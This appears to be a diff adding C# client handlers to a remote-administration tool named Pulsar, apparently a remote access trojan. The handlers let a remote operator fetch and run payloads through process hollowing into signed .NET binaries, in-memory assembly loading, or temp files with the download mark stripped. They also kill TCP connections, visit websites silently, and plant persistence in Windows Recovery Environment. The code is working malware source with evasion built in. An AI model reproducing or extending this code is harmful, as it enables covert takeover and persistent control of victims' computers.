if (string.IsNullOrEmpty(message.FilePath) && (message.FileBytes == null || message.FileBytes.Length == 0))
|
||||
{
|
||||
if (string.IsNullOrEmpty(message.DownloadUrl))
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus("Process start failed: No file path or download URL");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (_webClient.IsBusy) { _webClient.CancelAsync(); while (_webClient.IsBusy) Thread.Sleep(50); }
|
||||
_webClient.DownloadDataAsync(new Uri(message.DownloadUrl), message);
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus("Process start failed: Download error");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
ExecuteProcess(message.FileBytes, message.FilePath, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnDownloadDataCompleted(object sender, DownloadDataCompletedEventArgs e)
|
||||
{
|
||||
var message = (DoProcessStart)e.UserState;
|
||||
if (e.Cancelled || e.Error != null)
|
||||
{
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus("Process start failed: Download cancelled or error");
|
||||
return;
|
||||
}
|
||||
ExecuteProcess(e.Result, null, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension);
|
||||
}
|
||||
|
||||
private void ExecuteProcess(byte[] fileBytes, string filePath, bool isUpdate, bool executeInMemory, bool useRunPE, string runPETarget, string runPECustomPath, string fileExtension)
|
||||
{
|
||||
if (fileBytes == null && !string.IsNullOrEmpty(filePath) && File.Exists(filePath))
|
||||
fileBytes = File.ReadAllBytes(filePath);
|
||||
|
||||
if (fileBytes == null || fileBytes.Length == 0)
|
||||
{
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus("Process start failed: no file bytes available");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (useRunPE) { ExecuteViaRunPE(fileBytes, runPETarget, runPECustomPath); return; }
|
||||
if (executeInMemory) { ExecuteViaInMemoryDotNet(fileBytes); return; }
|
||||
ExecuteViaTemporaryFile(fileBytes, fileExtension);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus($"Process start failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void ExecuteViaRunPE(byte[] fileBytes, string runPETarget, string runPECustomPath)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
bool result = Helper.RunPE.Execute(GetRunPEHostPath(runPETarget, runPECustomPath, IsPayload64Bit(fileBytes)), fileBytes);
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = result });
|
||||
SendStatus($"RunPE execution {(result ? "succeeded" : "failed")}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus($"RunPE failed: {ex.Message}");
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
private void ExecuteViaInMemoryDotNet(byte[] fileBytes)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
Assembly asm = Assembly.Load(fileBytes);
|
||||
MethodInfo entry = asm.EntryPoint;
|
||||
if (entry != null)
|
||||
entry.Invoke(null, entry.GetParameters().Length == 0 ? null : new object[] { new string[0] });
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
|
||||
SendStatus(".NET in-memory execution succeeded");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus($".NET in-memory execution failed: {ex.Message}");
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
private void ExecuteViaTemporaryFile(byte[] fileBytes, string fileExtension)
|
||||
{
|
||||
try
|
||||
{
|
||||
string tempPath = FileHelper.GetTempFilePath(fileExtension ?? ".exe");
|
||||
File.WriteAllBytes(tempPath, fileBytes);
|
||||
FileHelper.DeleteZoneIdentifier(tempPath);
|
||||
Process.Start(new ProcessStartInfo { UseShellExecute = true, FileName = tempPath });
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
|
||||
SendStatus("Process executed via temporary file");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
SendStatus($"Temporary file execution failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private Dictionary<int, int?> GetParentProcessMap()
|
||||
{
|
||||
var map = new Dictionary<int, int?>();
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher("SELECT ProcessId, ParentProcessId FROM Win32_Process"))
|
||||
using (var results = searcher.Get())
|
||||
{
|
||||
foreach (ManagementObject obj in results)
|
||||
{
|
||||
int pid = Convert.ToInt32(obj["ProcessId"]);
|
||||
int? parent = obj["ParentProcessId"] != null ? Convert.ToInt32(obj["ParentProcessId"]) : (int?)null;
|
||||
map[pid] = parent != pid ? parent : null;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return map;
|
||||
}
|
||||
|
||||
private bool IsPayload64Bit(byte[] payload)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') return false;
|
||||
int peOffset = BitConverter.ToInt32(payload, 0x3C);
|
||||
return BitConverter.ToUInt16(payload, peOffset + 4) == 0x8664;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
private string GetRunPEHostPath(string target, string customPath, bool is64)
|
||||
{
|
||||
string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
|
||||
string frameworkDir = is64
|
||||
? Path.Combine(winDir, "Microsoft.NET", "Framework64", "v4.0.30319")
|
||||
: Path.Combine(winDir, "Microsoft.NET", "Framework", "v4.0.30319");
|
||||
|
||||
if (!Directory.Exists(frameworkDir))
|
||||
frameworkDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory();
|
||||
|
||||
switch (target)
|
||||
{
|
||||
case "a":
|
||||
return Path.Combine(frameworkDir, "RegAsm.exe");
|
||||
case "b":
|
||||
return Path.Combine(frameworkDir, "RegSvcs.exe");
|
||||
case "c":
|
||||
return Path.Combine(frameworkDir, "MSBuild.exe");
|
||||
case "d":
|
||||
return customPath;
|
||||
default:
|
||||
return Path.Combine(frameworkDir, "RegAsm.exe");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_webClient.DownloadDataCompleted -= OnDownloadDataCompleted;
|
||||
_webClient.CancelAsync();
|
||||
_webClient.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
using Pulsar.Client.Utilities;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.TCPConnections;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class TcpConnectionsHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is GetConnections ||
|
||||
message is DoCloseConnection;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetConnections msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoCloseConnection msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetConnections message)
|
||||
{
|
||||
var table = GetTable();
|
||||
|
||||
var connections = new TcpConnection[table.Length];
|
||||
|
||||
for (int i = 0; i < table.Length; i++)
|
||||
{
|
||||
string processName;
|
||||
try
|
||||
{
|
||||
var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid);
|
||||
processName = p.ProcessName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
processName = $"PID: {table[i].owningPid}";
|
||||
}
|
||||
|
||||
connections[i] = new TcpConnection
|
||||
{
|
||||
ProcessName = processName,
|
||||
LocalAddress = table[i].LocalAddress.ToString(),
|
||||
LocalPort = table[i].LocalPort,
|
||||
RemoteAddress = table[i].RemoteAddress.ToString(),
|
||||
RemotePort = table[i].RemotePort,
|
||||
State = (ConnectionState)table[i].state
|
||||
};
|
||||
}
|
||||
|
||||
client.Send(new GetConnectionsResponse { Connections = connections });
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoCloseConnection message)
|
||||
{
|
||||
var table = GetTable();
|
||||
|
||||
for (var i = 0; i < table.Length; i++)
|
||||
{
|
||||
//search for connection
|
||||
if (message.LocalAddress == table[i].LocalAddress.ToString() &&
|
||||
message.LocalPort == table[i].LocalPort &&
|
||||
message.RemoteAddress == table[i].RemoteAddress.ToString() &&
|
||||
message.RemotePort == table[i].RemotePort)
|
||||
{
|
||||
// it will close the connection only if client run as admin
|
||||
table[i].state = (byte) ConnectionState.Delete_TCB;
|
||||
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
|
||||
Marshal.StructureToPtr(table[i], ptr, false);
|
||||
NativeMethods.SetTcpEntry(ptr);
|
||||
Execute(client, new GetConnections());
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private NativeMethods.MibTcprowOwnerPid[] GetTable()
|
||||
{
|
||||
NativeMethods.MibTcprowOwnerPid[] tTable;
|
||||
var afInet = 2;
|
||||
var buffSize = 0;
|
||||
// retrieve correct pTcpTable size
|
||||
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||
var buffTable = Marshal.AllocHGlobal(buffSize);
|
||||
try
|
||||
{
|
||||
var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||
if (ret != 0)
|
||||
return null;
|
||||
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
|
||||
var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries));
|
||||
tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries];
|
||||
for (var i = 0; i < tab.dwNumEntries; i++)
|
||||
{
|
||||
var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid));
|
||||
tTable[i] = tcpRow;
|
||||
rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow));
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(buffTable);
|
||||
}
|
||||
return tTable;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Messages.FunStuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class WallpaperHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoChangeWallpaper;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoChangeWallpaper changeWallpaperMessage)
|
||||
{
|
||||
SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat);
|
||||
}
|
||||
}
|
||||
|
||||
private void SetWallpaper(byte[] imageData, string imageFormat)
|
||||
{
|
||||
string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}");
|
||||
File.WriteAllBytes(tempPath, imageData);
|
||||
|
||||
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
|
||||
|
||||
private const int SPI_SETDESKWALLPAPER = 20;
|
||||
private const int SPIF_UPDATEINIFILE = 0x01;
|
||||
private const int SPIF_SENDCHANGE = 0x02;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.UserSupport.Website;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class WebsiteVisitorHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoVisitWebsite msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoVisitWebsite message)
|
||||
{
|
||||
string url = message.Url;
|
||||
|
||||
if (!url.StartsWith("http"))
|
||||
url = "http://" + url;
|
||||
|
||||
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
||||
{
|
||||
if (!message.Hidden)
|
||||
Process.Start(url);
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
|
||||
request.UserAgent =
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
|
||||
request.AllowAutoRedirect = true;
|
||||
request.Timeout = 10000;
|
||||
request.Method = "GET";
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = "Visited Website" });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
using Pulsar.Client.Helper.WinRE;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.ClientManagement.WinRE;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class WinREPersistenceHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoAddWinREPersistence || message is DoRemoveWinREPersistence || message is AddCustomFileWinRE;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoAddWinREPersistence msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case DoRemoveWinREPersistence msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case AddCustomFileWinRE msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoAddWinREPersistence message)
|
||||
{
|
||||
try
|
||||
{
|
||||
string exeLocation;
|
||||
|
||||
try
|
||||
{
|
||||
exeLocation = Assembly.GetExecutingAssembly().Location;
|
||||
|
||||
if (string.IsNullOrEmpty(exeLocation))
|
||||
{
|
||||
// we running in memory
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// ye we def in memory
|
||||
Debug.WriteLine($"Failed to get assembly location: {ex.Message}");
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] bytes = System.IO.File.ReadAllBytes(exeLocation);
|
||||
WinREPersistence.Uninstall();
|
||||
WinREPersistence.InstallFile(bytes, ".exe");
|
||||
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = "Added WinRE Persistence"
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = "Failed to add WinRE Persistence"
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoRemoveWinREPersistence message)
|
||||
{
|
||||
try
|
||||
{
|
||||
WinREPersistence.Uninstall();
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = "Removed WinRE Persistence"
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = $"Failed to remove WinRE Persistence: {ex.Message}"
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, AddCustomFileWinRE message)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrEmpty(message.Path))
|
||||
{
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = "Invalid path or arguments for custom file."
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
if (!File.Exists(message.Path))
|
||||
{
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = "Custom file does not exist."
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] fileBytes = File.ReadAllBytes(message.Path);
|
||||
|
||||
WinREPersistence.Uninstall();
|
||||
|
||||
string fileExtension = Path.GetExtension(message.Path);
|
||||
|
||||
WinREPersistence.InstallFile(fileBytes, fileExtension);
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = "Added Custom File to WinRE Persistence"
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = $"Failed to add custom file: {ex.Message}"
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user